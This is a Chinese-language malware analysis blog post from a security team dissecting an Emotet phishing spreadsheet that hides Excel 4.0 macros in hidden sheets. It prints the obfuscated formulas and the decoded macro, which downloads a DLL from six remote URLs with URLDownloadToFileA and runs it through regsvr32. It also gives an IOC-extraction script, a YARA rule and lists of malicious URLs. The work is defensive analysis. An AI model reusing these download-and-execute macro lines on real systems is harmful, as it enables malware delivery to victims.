Emotet - 基于Excel4.0隐藏表格和宏代码

百家 作者:Chamd5安全团队 2022-05-27 20:44:47

前言:

近期的Emotet攻击活动通过附加在钓鱼邮件的各种恶意Microsoft Office文件或恶意文档进行传播。一旦目标打开附件文档,就会使用Excel 4.0宏来执行下载并运行Emotet 恶意软件

基本属性:

该钓鱼文档是基于xls的excel4.0的恶意宏攻击,通过伪造提示字段诱导目标用户点击"启用宏"

Most features are disabled.To view and edit document click Enable Editing and click Enable Content. 大多数功能都已取消。要查看和编辑文档,请单击“启用编辑”,然后单击“启用内容”

文档中隐藏了五个工作表,并且将表格中的字段通过设置白底白字隐藏,将字体颜色改醒目点即可发现文档的创建时间为2022年3月28号,估计emotet组织发起该次攻击事件在3月下旬至4月上旬之间,作者和保存者数据都没有被抹去

样本分析:

一. 动态调试:

(优先动态调试,可以快速清楚执行命令及流程,前置知识:Excel 4.0 macro) 对于excel4.0宏文件的动态调试关键在于先找到auto_open函数,在名称管理器中将auto_open名称改掉,使宏代码不会自动执行,然后再单步跟踪调试auto_open函数内容自动执行的宏代码内容都集中在E9单元格里,且宏代码被高度混淆,其执行代码都是由其他工作表和单元格中引用然后拼接出完整指令

=FORMULA(Vesfvs!P22&Vesfvs!H9&Vesfvs!L2&Vesfvs!B15&Vesfvs!B15&Ufbdh!D5&Ufbdh!F11&Pdvsev!E23&Ufbdh!N6&Vesfvs!H4&Ufbdh!P14&Pdvsev!L19&Ufbdh!E17&Pdvsev!R24&DDc!D10&Pdvsev!H18,E11)
=FORMULA(Vesfvs!P22&Vesfvs!J11&Vesfvs!B18&Vesfvs!P11&"GRDS1"&Pdvsev!S7&Vesfvs!H9&Vesfvs!L2&Vesfvs!B15&Vesfvs!B15&Ufbdh!D5&Ufbdh!F11&Pdvsev!E23&Ufbdh!N6&Vesfvs!H4&Ufbdh!P14&Pdvsev!L19&Ufbdh!E19&Pdvsev!R24&DDc!D10&Pdvsev!H18&Vesfvs!P13,E13)
=FORMULA(Vesfvs!P22&Vesfvs!J11&Vesfvs!B18&Vesfvs!P11&"GRDS2"&Pdvsev!S7&Vesfvs!H9&Vesfvs!L2&Vesfvs!B15&Vesfvs!B15&Ufbdh!D5&Ufbdh!F11&Pdvsev!E23&Ufbdh!N6&Vesfvs!H4&Ufbdh!P14&Pdvsev!L19&Ufbdh!G17&Pdvsev!R24&DDc!D10&Pdvsev!H18&Vesfvs!P13,E15)
=FORMULA(Vesfvs!P22&Vesfvs!J11&Vesfvs!B18&Vesfvs!P11&"GRDS3"&Pdvsev!S7&Vesfvs!H9&Vesfvs!L2&Vesfvs!B15&Vesfvs!B15&Ufbdh!D5&Ufbdh!F11&Pdvsev!E23&Ufbdh!N6&Vesfvs!H4&Ufbdh!P14&Pdvsev!L19&Ufbdh!G19&Pdvsev!R24&DDc!D10&Pdvsev!H18&Vesfvs!P13,E17)
=FORMULA(Vesfvs!P22&Vesfvs!J11&Vesfvs!B18&Vesfvs!P11&"GRDS4"&Pdvsev!S7&Vesfvs!H9&Vesfvs!L2&Vesfvs!B15&Vesfvs!B15&Ufbdh!D5&Ufbdh!F11&Pdvsev!E23&Ufbdh!N6&Vesfvs!H4&Ufbdh!P14&Pdvsev!L19&Ufbdh!I17&Pdvsev!R24&DDc!D10&Pdvsev!H18&Vesfvs!P13,E19)
=FORMULA(Vesfvs!P22&Vesfvs!J11&Vesfvs!B18&Vesfvs!P11&"GRDS5"&Pdvsev!S7&Vesfvs!H9&Vesfvs!L2&Vesfvs!B15&Vesfvs!B15&Ufbdh!D5&Ufbdh!F11&Pdvsev!E23&Ufbdh!N6&Vesfvs!H4&Ufbdh!P14&Pdvsev!L19&Ufbdh!I19&Pdvsev!R24&DDc!D10&Pdvsev!H18&Vesfvs!P13,E21)
=FORMULA(Vesfvs!P22&Vesfvs!J11&Vesfvs!B18&Vesfvs!P11&"GRDS6"&Pdvsev!S7&Vesfvs!H9&Vesfvs!B15&Vesfvs!I17&Vesfvs!I3&Vesfvs!H13&Vesfvs!P11&Vesfvs!K9&Vesfvs!P13&Vesfvs!P7&Vesfvs!P13,E23)
=FORMULA(Vesfvs!P22&Vesfvs!H13&Vesfvs!N4&Vesfvs!H13&Vesfvs!H9&Vesfvs!P11&Vesfvs!P15&Vesfvs!H9&Vesfvs!P20&Pdvsev!O14&Pdvsev!P10&Pdvsev!K6&Vesfvs!P19&Ufbdh!Q23&Pdvsev!E15&DDc!D10&Vesfvs!P13,E25)
=FORMULA(Vesfvs!P22&Vesfvs!G41&Vesfvs!P11&Vesfvs!P13,E27)

关键点1:执行宏的单元格为空时

当执行的单元格为空时,会自动往下执行当前列其他单元格,也就是会从=PKEBEBL!$E$1往下执行,直到寻找=RETURN()或者是=HALT(),也就是完全可以将恶意代码写入在最大行数处,使代码不能一眼被发现

Excel附加知识:

  • Excel 2003版:列数最大256(IV,2的8次方)列,行数最大65536(2的16次方)行;
  • Excel 2007版:列数最大16384(XFD,2的14次方),行数最大1048576(2的20次方);
  • Excel 2013版:列数最大16384(XFD,2的14次方),行数最大1048576(2的20次方);

Excel行和列的表示方法:例如2003版行用数字1-65536表示;列用英文字母A-Z,AA-AZ,BA-BZ,...,IA-IV表示,共256列。

关键点2:执行宏的代码过长,显示不完全

单步执行到E9处,调试发现由于执行的命令过长,导致在调试窗口显示不完全

拆开语句分段执行:(暂时解决,待完善)

将E9单元格里大段的宏代码语句拆开,写入不同的单元格,然后一条条执行,即可跟踪到解混淆后执行的指令指令功能为使用FORMULA()函数将混淆后的指令拼接起来然后输出到指定的单元格,指定的单元格为同一列的后续单元格,暂停可以看到解混淆后真正要执行的指令,然后再继续执行代码

在C2下载后续dll:

使用"URLDownloadToFileA"从指定url中下载csei.dll,然后if判断一下返回的值,如果下载失败,则执行下一条"URLDownloadToFileA"指令去下载,也就是有六个备用的途径可以下载到后续需要执行的dll文件,下载成功后EXEC去使用regsvr32.exe执行下载的那个csei.dll,但是如果都下载失败,则结束自身运行

=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.colfincas.com/tmp/FvyLs/","..\csei.dll",0,0)

=IF(GRDS1<0, CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://contentunion.net/newwebsite/UXkkk/","..\csei.dll",0,0))

=IF(GRDS2<0, CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://contrid.com/6vwkQmRU/","..\csei.dll",0,0))

=IF(GRDS3<0, CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ctfilms.com/ks/2ygJuGV0/","..\csei.dll",0,0))

=IF(GRDS4<0, CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://cordclipsorganizer.com/cable-holder-2e/a/","..\csei.dll",0,0))

=IF(GRDS5<0, CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://dahiaka.com/DND/JuBlOiT8Ixj/","..\csei.dll",0,0))

=IF(GRDS6<0, CLOSE(0),)

=EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\csei.dll")
=RETURN()

二. python静态分析

(动态分析不出来的时候或者是同类样本数量多,可以考虑)

提取数据:

首先需要做的就是将所有的散乱排布在单元格中的数据全部都提取出来,

python处理:

遍历目录下所有的execl文件,使用openpyxl模块遍历所有工作表中不为空的单元格,将其根据格式单元格坐标=单元格的值提取出来 从excel中提取所有的不为空的单元格

遍历的路径:C:\Users\mengm\Desktop\test
C:\Users\mengm\Desktop\test\20220325_006099_005.xls

1个sheet: Sheet
-------------

2个sheet: Vesfvs
E2==CHAR(113-2)    
G2==CHAR(111-6)    
L2==CHAR(71-6)     
P2=-               
C3==CHAR(111+3)    
I3==CHAR(87-4)     
P3==CHAR(90+2)     
F4==CHAR(100-18)   
H4==CHAR(110-9)    
K4=1               
N4==CHAR(89-1)     
B5==CHAR(115+2)    
P5==CHAR(44+2)     
E6==CHAR(90-6)     
J6==CHAR(77-3)     
D7==CHAR(107+3)    
F7=3               
M7==CHAR(117-2)    
P7==CHAR(41+3)     
C9==CHAR(110-2)    
H9==CHAR(70-3)     
K9==CHAR(55-7)     
P9==CHAR(55+5)     
F10==CHAR(123-4)    
E11==CHAR(80+5)     
J11==CHAR(80-7)     
L11==CHAR(100-1)    
P11==CHAR(35+5)     
A12==CHAR(107+2)    
D13==CHAR(72-4)     
H13==CHAR(68+1)     
N13=2               
P13==CHAR(36+5)     
G14==CHAR(124-4)    
K14==CHAR(70-4)     
B15==CHAR(80-4)     
F15==CHAR(105-5)    
P15==CHAR(31+3)     
D17==CHAR(102-5)    
I17==CHAR(78+1)     
K17=G               
N17=p               
P17==CHAR(40-2)     
B18==CHAR(65+5)     
F19=h               
L19=t               
P19==CHAR(32)       
H20=8               
P20==CHAR(52+6)     
P22==CHAR(66-5)     
K23==CHAR(80-2)     
G24==CHAR(84-2)     
P24=!               
I26==CHAR(84)       
P27=/               
I32==_xlfn.ARABIC("CXI")
O33==_xlfn.ARABIC("LXVII")
E35==_xlfn.ARABIC("LXI")
Q36==_xlfn.ARABIC("CXIV")
K37==_xlfn.ARABIC("CI")
G41=RETURN          
-------------

3个sheet: Ufbdh
D5==T(Vesfvs!P11&Vesfvs!P15&Vesfvs!B5&Vesfvs!C3&Vesfvs!C9&Vesfvs!A12)
N6==T(Vesfvs!E2&Vesfvs!D17&Vesfvs!F15&Vesfvs!E6&Vesfvs!E2&Vesfvs!B18&Vesfvs!G2&Vesfvs!C9)
F11==T(Vesfvs!E2&Vesfvs!D7&Vesfvs!P15&Vesfvs!P7&Vesfvs!P15&Vesfvs!E11&Vesfvs!F4&Vesfvs!B15&Vesfvs!D13)
P14==T(Vesfvs!L2&Vesfvs!P15&Vesfvs!P7&Vesfvs!P15&Vesfvs!J6&Vesfvs!J6&Vesfvs!H9&Vesfvs!H9&Vesfvs!K14&Vesfvs!K14&Vesfvs!P15)
E17="h"&"t"&"t"&"p"&"s://w"&"w"&"w.c"&"ol"&"fin"&"ca"&"s.c"&"o"&"m/t"&"mp/Fv"&"yL"&"s/","
G17="
h"&"tt"&"p://c"&"on"&"tr"&"id.c"&"o"&"m/6v"&"w"&"kQm"&"R"&"U/","
I17="h"&"tt"&"p://co"&"rd"&"clip"&"so"&"rg"&"a"&"niz"&"er.c"&"o"&"m/c"&"a"&"bl"&"e-h"&"ol"&"de"&"r-2"&"e/a/","
K17="
777","         
E19="h"&"tt"&"p:/"&"/c"&"o"&"n"&"t"&"e"&"n"&"t"&"uni"&"o"&"n.n"&"et/ne"&"w"&"w"&"ebs"&"it"&"e/UX"&"kk"&"k/","
G19="
h"&"tt"&"p://ct"&"fil"&"ms.c"&"om/k"&"s/2y"&"gJu"&"GV"&"0/","
I19="h"&"tt"&"p://d"&"ah"&"ia"&"k"&"a.c"&"om/D"&"N"&"D/J"&"uB"&"l"&"O"&"iT8"&"Ix"&"j/","
Q23==T(Vesfvs!P2&Vesfvs!M7)
-------------

第4个sheet: Pdvsev
U3=                
K6=regsvr32.exe    
S7=<0,             
P10=SysWow64\       
F12=                
O14=\Windows\       
E15==T(Vesfvs!P19&Vesfvs!P5&Vesfvs!P5&Vesfvs!P3&Vesfvs!L11&Vesfvs!M7&Vesfvs!H4&Vesfvs!G2&Vesfvs!P5)
H18=,0,0)           
L19=,0,             
E23==T(Vesfvs!E2&Vesfvs!F10&Vesfvs!D7&Vesfvs!C9)
R24==T(Vesfvs!P5&Vesfvs!P5&Vesfvs!P3&Vesfvs!L11&Vesfvs!M7&Vesfvs!H4&Vesfvs!G2&Vesfvs!P5)
-------------

第5个sheet: DDc
D10==CONCATENATE(Vesfvs!F15,Vesfvs!C9,Vesfvs!C9,Vesfvs!P15)
-------------

第6个sheet: PKEBEBL
E9==FORMULA(Vesfvs!P22&Vesfvs!H9&Vesfvs!L2&Vesfvs!B15&Vesfvs!B15&Ufbdh!D5&Ufbdh!F11&Pdvsev!E23&Ufbdh!N6&Vesfvs!H4&Ufbdh!P14&Pdvsev!L19&Ufbdh!E17&Pdvsev!R24&DDc!D10&Pdvsev!H18,E11)=FORMULA(Vesfvs!P22&Vesfvs!J11&Vesfvs!B18&Vesfvs!P11&"
GRDS1"&Pdvsev!S7&Vesfvs!H9&Vesfvs!L2&Vesfvs!B15&Vesfvs!B15&Ufbdh!D5&Ufbdh!F11&Pdvsev!E23&Ufbdh!N6&Vesfvs!H4&Ufbdh!P14&Pdvsev!L19&Ufbdh!E19&Pdvsev!R24&DDc!D10&Pdvsev!H18&Vesfvs!P13,E13)=FORMULA(Vesfvs!P22&Vesfvs!J11&Vesfvs!B18&Vesfvs!P11&"GRDS2"&Pdvsev!S7&Vesfvs!H9&Vesfvs!L2&Vesfvs!B15&Vesfvs!B15&Ufbdh!D5&Ufbdh!F11&Pdvsev!E23&Ufbdh!N6&Vesfvs!H4&Ufbdh!P14&Pdvsev!L19&Ufbdh!G17&Pdvsev!R24&DDc!D10&Pdvsev!H18&Vesfvs!P13,E15)=FORMULA(Vesfvs!P22&Vesfvs!J11&Vesfvs!B18&Vesfvs!P11&"GRDS3"&Pdvsev!S7&Vesfvs!H9&Vesfvs!L2&Vesfvs!B15&Vesfvs!B15&Ufbdh!D5&Ufbdh!F11&Pdvsev!E23&Ufbdh!N6&Vesfvs!H4&Ufbdh!P14&Pdvsev!L19&Ufbdh!G19&Pdvsev!R24&DDc!D10&Pdvsev!H18&Vesfvs!P13,E17)=FORMULA(Vesfvs!P22&Vesfvs!J11&Vesfvs!B18&Vesfvs!P11&"GRDS4"&Pdvsev!S7&Vesfvs!H9&Vesfvs!L2&Vesfvs!B15&Vesfvs!B15&Ufbdh!D5&Ufbdh!F11&Pdvsev!E23&Ufbdh!N6&Vesfvs!H4&Ufbdh!P14&Pdvsev!L19&Ufbdh!I17&Pdvsev!R24&DDc!D10&Pdvsev!H18&Vesfvs!P13,E19)=FORMULA(Vesfvs!P22&Vesfvs!J11&Vesfvs!B18&Vesfvs!P11&"GRDS5"&Pdvsev!S7&Vesfvs!H9&Vesfvs!L2&Vesfvs!B15&Vesfvs!B15&Ufbdh!D5&Ufbdh!F11&Pdvsev!E23&Ufbdh!N6&Vesfvs!H4&Ufbdh!P14&Pdvsev!L19&Ufbdh!I19&Pdvsev!R24&DDc!D10&Pdvsev!H18&Vesfvs!P13,E21)=FORMULA(Vesfvs!P22&Vesfvs!J11&Vesfvs!B18&Vesfvs!P11&"GRDS6"&Pdvsev!S7&Vesfvs!H9&Vesfvs!B15&Vesfvs!I17&Vesfvs!I3&Vesfvs!H13&Vesfvs!P11&Vesfvs!K9&Vesfvs!P13&Vesfvs!P7&Vesfvs!P13,E23)=FORMULA(Vesfvs!P22&Vesfvs!H13&Vesfvs!N4&Vesfvs!H13&Vesfvs!H9&Vesfvs!P11&Vesfvs!P15&Vesfvs!H9&Vesfvs!P20&Pdvsev!O14&Pdvsev!P10&Pdvsev!K6&Vesfvs!P19&Ufbdh!Q23&Pdvsev!E15&DDc!D10&Vesfvs!P13,E25)=FORMULA(Vesfvs!P22&Vesfvs!G41&Vesfvs!P11&Vesfvs!P13,E27)
-------------

python批量替换解混淆:

将刚刚从EXECL提取出来的字符通过python脚本批量替换待解混淆的字符,也可以将命令字符全部还原出来 python批量替换解混淆

批量提取IOC:

样本特征:

对于此次emotet的大规模攻击事件,使用的样本数量较多,尝试将IOC批量提取出来,总结此次样本通用性特征为:

  • 下载后续payload的URL存在于第三个工作表中
  • URL都使用&拼接
  • 总共有六条URL用于备用下载

编写Python脚本:

基于以上特征写Python脚本将文件属性中作者信息,下载的URL和下载的dll名称给提取出来

作者信息:

office文档主要基于三种格式:ole、xml、ooxml ,而ooxml是以xml为基础,可以理解为 zip文件,单看文件头2003版office都是以二进制文件格式存储的,而2003以后的版本都是以zip压缩包的格式存储的,在这里先将xml和ooxml混为一谈 常见的文档后缀.doc.xls,可解析出ole格式文件,.docx,.xlsx,.docm,.xlsm四种扩展名文档可解析出 xml 文件

  1. 对于不同的文档格式首先要做的就是将所有需要提取的文档都转为xml结构
  2. 每个xml结构的文档实际上就是一个压缩包,文档的元数据信息是放在压缩包中的core.xml的文件里面的。通过读取这个文件,即可以获得这些信息

下载的URL:

E17="h"&"t"&"t"&"p"&"s://w"&"w"&"w.c"&"ol"&"fin"&"ca"&"s.c"&"o"&"m/t"&"mp/Fv"&"yL"&"s/","
G17="
h"&"tt"&"p://c"&"on"&"tr"&"id.c"&"o"&"m/6v"&"w"&"kQm"&"R"&"U/","
I17="h"&"tt"&"p://co"&"rd"&"clip"&"so"&"rg"&"a"&"niz"&"er.c"&"o"&"m/c"&"a"&"bl"&"e-h"&"ol"&"de"&"r-2"&"e/a/","
K17="
777","         
E19="h"&"tt"&"p:/"&"/c"&"o"&"n"&"t"&"e"&"n"&"t"&"uni"&"o"&"n.n"&"et/ne"&"w"&"w"&"ebs"&"it"&"e/UX"&"kk"&"k/","
G19="
h"&"tt"&"p://ct"&"fil"&"ms.c"&"om/k"&"s/2y"&"gJu"&"GV"&"0/","
I19="h"&"tt"&"p://d"&"ah"&"ia"&"k"&"a.c"&"om/D"&"N"&"D/J"&"uB"&"l"&"O"&"iT8"&"Ix"&"j/","

包含URL的单元格中:

  1. 在单元格中以“"&"”拼接的字符串
  2. 存在“:/”字符串
  3. 判断是不是六条,不是的话提示人工分析

脚本:

import os
import zipfile
import lxml
import lxml.etree
import openpyxl
import olefile
from win32com import client

# xls转xlsx
def xls2xlsx(xls_name):
    # 首先将xls转换成xlsx
    excel = client.gencache.EnsureDispatch('Excel.Application')
    wb = excel.Workbooks.Open(xls_name)
    wb.SaveAs(xls_name + ".xlsx", FileFormat=51)  # FileFormat = 51 is for .xlsx extension
    wb.Close()
    excel.Application.Quit()
# doc转docx
def doc2docx(doc_name):
    # 首先将doc转换成docx
    word = client.gencache.EnsureDispatch('word.Application')
    wb = word.Documents.Open(doc_name)
    wb.SaveAs(doc_name + ".docx", FileFormat=12)  # FileFormat = 12 is for .docx extension
    wb.Close()
    word.Application.Quit()
# 批量化提取office文档元数据

# 对于xml文件格式的元数据从core.xml中获取office元数据
def get_info(excel_file):
    zf = zipfile.ZipFile(excel_file)
    doc = lxml.etree.fromstring(zf.read('docProps/core.xml'))
    attr_nodes = doc.getchildren()
    for data in list(doc):
        #print(data.tag,data.text)
        if data.tag == "{http://purl.org/dc/elements/1.1/}creator":
            creator=data.text
        if data.tag == "{http://purl.org/dc/terms/}created":
            created=data.text
        if data.tag == "{http://schemas.openxmlformats.org/package/2006/metadata/core-properties}lastModifiedBy":
            lastModifiedBy=data.text
        if data.tag == "{http://purl.org/dc/terms/}modified":
            modified=data.text
    return {'作者':creator,'创建时间':created,'修改人':lastModifiedBy,
                '最后修改时间':modified}

# 对于xml文件格式的元数据则使用模块olefile提取
def getolemeta(filepath):
    ole = olefile.OleFileIO(filepath)
    meta = ole.get_metadata()
    print('作者: ' + str(meta.author), '最后修改人: ' + str(meta.last_saved_by), '创建时间: ' + str(meta.create_time),
          '最后修改时间: ' + str(meta.last_saved_time))
    if filepath.endswith(".doc"):
        doc2docx(filepath)
        filepath += ".docx"
    if filepath.endswith(".xls"):
        xls2xlsx(filepath)
        filepath += ".xlsx"
    read_excel(filepath)

# 读取文件信息
def read_excel(file_path):
    resault = ''
    wb = openpyxl.load_workbook(file_path)
    sheets = wb.sheetnames  # 获取workbook中所有的表格
    i = 2
    sheet = wb[sheets[i]]
    print('\n第' + str(i + 1) + '个sheet: ' + sheet.title + "\n" + "提取出的URL:")
    listURL = []
    for r in range(1, sheet.max_row + 1):
        for c in range(1, sheet.max_column + 1):
            if sheet.cell(row=r, column=c).value != None:
                if '"&"' and ':/' in sheet.cell(row=r, column=c).value:
                    listURL += [str(sheet.cell(row=r, column=c).value).replace('"&"''')]
    # 输出所得到的URL
    for x in listURL:
        print(str(x))
    if len(listURL) != 6:
        print("URL不为6个,人工分析")
    print(''.join("-------------"))

# 判断文件类型,提取元数据
def Getofficeinfo(file, pathFile):
    office = [".docx"".docm"".xlsx"".xlsm"]
    if file.endswith(tuple(office)):
        print(file + "作者信息:")
        print(get_info(pathFile))
        read_excel(pathFile)
        print("--------------------")
    else:
        getolemeta(pathFile)

# 遍历目录获取所有的文件路径
def GetFilePath(pathDir):
    print("遍历的路径:", pathDir)
    for root, dirs, files in os.walk(pathDir):
        for file in files:
            pathFile = os.path.join(root, file)
            Getofficeinfo(file, pathFile)

GetFilePath(r"C:\Users\mengm\Desktop\test")

运行结果:

成功提取!

检测规则:

rule emotet
{
meta:
    author = "gongyouxiu"
strings:
    //判断是execl文件
    $header_execl = { D0 CF 11 E0 }
    $s1 = "Excel" fullword ascii
    //自动执行宏
    $Auto_Open  = {18 00 17 00 20 00 00 01 07 00 00 00 00 00 00 00 00 00 00 01 3a }
    $Auto_Close = {18 00 17 00 20 00 00 01 07 00 00 00 00 00 00 00 00 00 00 02 3a }
    //包含不常见函数ARABIC()
    $ARABIC = "ARABIC" fullword ascii
condition:
    filesize < 3000KB
    and $header_docf at 0
    and $s1
    and any of ($Auto_*)
    and $ARABIC
}

IOC:

namemd5
20220325_006099_005.xlsfbe4106c4303401df89f6cff0b1dbabc
Payment Status, United Kingdom.xls6ee99c20494d3876bef6f882ca25dee2
URL


"https://www.colfincas.com/tmp/FvyLs/",""http://church.ktc-center.net/PbSkdCOW/","
"http://contrid.com/6vwkQmRU/",""https://christianchapman.com/cgi-bin/gADHL9UXSFUTN/","
"http://cordclipsorganizer.com/cable-holder-2e/a/",""http://clanfog.co.uk/_vti_bin/aObJD8vpKaJRLKgoX6i/","
"http://contentunion.net/newwebsite/UXkkk/",""https://chobemaster.com/components/gus/","
"http://ctfilms.com/ks/2ygJuGV0/",""http://chmiola.net/audio/6OuzyjPS/","
"http://dahiaka.com/DND/JuBlOiT8Ixj/",""https://cipes.gob.mx/css/A046XJg/","

参考:

Excel 4.0 macro https://www.yuque.com/bajiute/ul8ccm/lzaxrq

从excel中提取所有的不为空的单元格 https://www.yuque.com/go/doc/74111001?view=doc_embed

python批量替换解混淆 https://www.yuque.com/go/doc/72573912?view=doc_embed

Emotet - 基于Excel4.0隐藏表格和宏代码 https://www.yuque.com/jianouzuihuai/study/reverse_virus_office-excel_emotet#jC1V1

Python-字符串:还原混淆的宏代码 https://www.yuque.com/jianouzuihuai/study/python_string_emotet-iocs#BbMOq


end


招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析 长期招新

欢迎联系admin@chamd5.org



关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接